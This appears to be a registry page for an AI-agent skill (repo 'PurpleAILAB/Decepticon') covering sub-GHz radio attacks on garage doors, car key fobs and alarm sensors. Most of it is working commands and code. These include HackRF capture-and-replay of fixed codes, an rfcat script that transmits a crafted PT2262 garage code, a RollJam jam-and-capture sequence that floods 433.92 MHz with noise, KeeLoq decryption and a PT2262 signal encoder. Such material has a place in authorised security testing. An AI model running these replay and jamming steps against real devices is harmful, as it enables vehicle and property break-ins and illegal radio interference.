Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification.
85%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Critical
Do not install without reviewing
The 433/868/915 MHz ISM bands host a vast range of devices: garage door openers, car remote entry, alarm sensors, smart meters, weather stations, baby monitors, and industrial telemetry. Most use OOK or FSK modulation with no authentication. Fixed-code devices are trivially replayed. Rolling- code devices (KeeLoq, HiTag2) require additional analysis but have documented weaknesses.
Hardware (any one or more):
Software: rfcat, inspectrum, Universal Radio Hacker (URH), rtl_433,
GNU Radio, hackrf_transfer, SigDigger, rpitx (Raspberry Pi TX alternative).
# Install rfcat (YARD Stick One / CC1111 based tools):
pip install rfcat
# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):
apt install rtl-433 # or build from https://github.com/merbanan/rtl_433
# Universal Radio Hacker:
pip install urh
# inspectrum (IQ file visualization):
apt install inspectrum| Frequency | Region / Use | Common modulation |
|---|---|---|
| 433.92 MHz | EU/AS garage, keyfobs, sensors | OOK-PWM, OOK-Manchester |
| 315 MHz | US garage doors, legacy keyfobs | OOK-PWM |
| 868.35 MHz | EU alarms, smart meters, LoRa overlap | FSK, OOK |
| 915 MHz | US ISM (LoRa, sensors, meters) | FSK, OOK |
| 303 MHz | US TPMS, some car remotes | OOK |
| 868.95 MHz | KNX, some home automation | FSK |
# Wideband spectrum survey — see what's broadcasting in the ISM band:
rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq
# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):
rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json
# For continuous monitoring and logging:
rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json# Capture 10 seconds of IQ at 433.92 MHz:
hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000
# For 868 MHz EU targets:
hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000On Flipper Zero:
# Via Flipper CLI (qFlipper / USB serial):
# Export captured signals:
flipper_tx read /ext/subghz/captures/signal_001.sub# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):
inspectrum /tmp/433_capture.iq -r 2000000
# Open in URH for automatic modulation detection and bit decoding:
urh /tmp/433_capture.iq
# URH auto-detection: Signal → Autodetect parameters → shows encoding
# (OOK, FSK, PSK), bit rate, and decoded bits.Key parameters to identify:
# Replay a captured signal exactly as recorded:
hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R # -R = repeat
# Trim the IQ file to a single clean burst before replaying:
python3 - <<'EOF'
import numpy as np
iq = np.fromfile("/tmp/433_capture.iq", dtype=np.int8)
# Find signal burst (amplitude threshold):
amplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))
threshold = amplitude.max() * 0.3
start = np.argmax(amplitude > threshold) - 100
end = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100
burst = iq[start*2:end*2]
burst.tofile("/tmp/433_burst_trimmed.iq")
print(f"Burst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)")
EOF
hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47import rflib, time
d = rflib.RfCat()
d.setFreq(433920000) # 433.92 MHz
d.setMdmModulation(rflib.MOD_ASK_OOK)
d.setMdmDRate(1000) # 1000 bps — adjust to target
d.setMdmSyncMode(0) # no sync word
d.setPktPktLen(50) # raw mode
# Transmit a manually crafted OOK bitstream (hex encoded):
# Garage door fixed code example (Princeton PT2262 style):
# Preamble + 24-bit code:
payload = bytes.fromhex("AAAAAAAAFAF0F0F0FAFAFAFAF0F0FAFAFAFAFAF0F0F0FA00")
d.RFxmit(data=payload, repeat=5)
print("[+] Transmitted fixed code.")After capturing with Sub-GHz → Read:
Most modern car fobs and garage doors use rolling codes. The rolling-code counter increments on each press; replaying an old code fails (the receiver tracks the last used counter).
Attack vectors:
# RollJam requires simultaneous jam + capture on a single SDR with TX capability.
# HackRF: transmit noise on 433.92 MHz to jam while recording with a second receiver.
# Jammer (HackRF):
hackrf_transfer -t /dev/urandom -f 433920000 -s 2000000 -x 40 &
JAMMER_PID=$!
# Capture on RTL-SDR simultaneously:
rtl_sdr -f 433920000 -s 2000000 -g 40 /tmp/capture_while_jamming.iq &
sleep 5
# Stop jammer; victim retransmits; capture second code:
kill $JAMMER_PID# keeloq-tools:
git clone https://github.com/ulissesdias/keeloq_tools
python3 keeloq_tools/keeloq_decrypt.py \
--manufacturer-key AABBCCDDEEFF0011 \
--serial 12345678 \
--ciphertext DEADBEEF# PT2262 encoder: tristate (0/1/float), 24 bits, OOK-PWM.
# Bit timings: '0' = short pulse + long gap, '1' = long pulse + short gap, 'F' = medium+medium
BIT_RATE = 1000 # Hz
SHORT = int(2e6 / BIT_RATE / 3) # samples
LONG = SHORT * 3
def encode_pt2262(tristate_code: str, sample_rate=2_000_000) -> bytes:
"""Encode a PT2262 tristate code to OOK IQ (int8)."""
iq = []
for bit in tristate_code:
if bit == '0':
iq += [127] * SHORT + [0] * LONG
elif bit == '1':
iq += [127] * LONG + [0] * SHORT
elif bit == 'F':
iq += [127] * SHORT + [0] * SHORT
# Add stop bit and silence:
iq += [127] * SHORT + [0] * (LONG * 31)
return bytes(iq)EVIDENCE="/workspace/evidence/sub-ghz/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/433_capture.iq "$EVIDENCE/"
cp /tmp/rtl433_decode.json "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"kg_add_node(
kind="finding",
label=f"Sub-GHz fixed-code replay success at {target_freq_mhz} MHz",
props={
"key": f"sub-ghz::{target_freq_mhz}::{target_id}",
"frequency_mhz": target_freq_mhz,
"modulation": "OOK-PWM",
"code_type": "fixed", # or "rolling"
"replay_success": True,
"hardware": "HackRF One",
"source": "hackrf+rtl433",
},
)PurpleAILAB/Decepticon
df87955
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.